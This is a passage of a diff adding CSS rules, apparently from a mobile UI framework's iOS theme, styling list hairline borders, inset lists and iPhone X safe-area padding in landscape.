content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .list-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .list-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list.inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; +} +.ios .list.inset ul { + border-radius: 7px; +} +.ios .list.inset li:first-child > a { + border-radius: 7px 7px 0 0; +} +.ios .list.inset li:last-child > a { + border-radius: 0 0 7px 7px; +} +.ios .list.inset li:first-child:last-child > a { + border-radius: 7px; +} +@media (min-width: 768px) { + .ios .list.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .list.tablet-inset ul { + border-radius: 7px; + } + .ios .list.tablet-inset li:first-child > a { + border-radius: 7px 7px 0 0; + } + .ios .list.tablet-inset li:last-child > a { + border-radius: 0 0 7px 7px; + } + .ios .list.tablet-inset li:first-child:last-child > a { + border-radius: 7px; + } +} +.ios li li:last-child .item-inner:after, +.ios li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + background-position: calc(15px + constant(safe-area-inset-left)) center; + background-position: calc(15px + env(safe-area-inset-left)) center; + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row { + padding-left: 0; + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .ios-edges 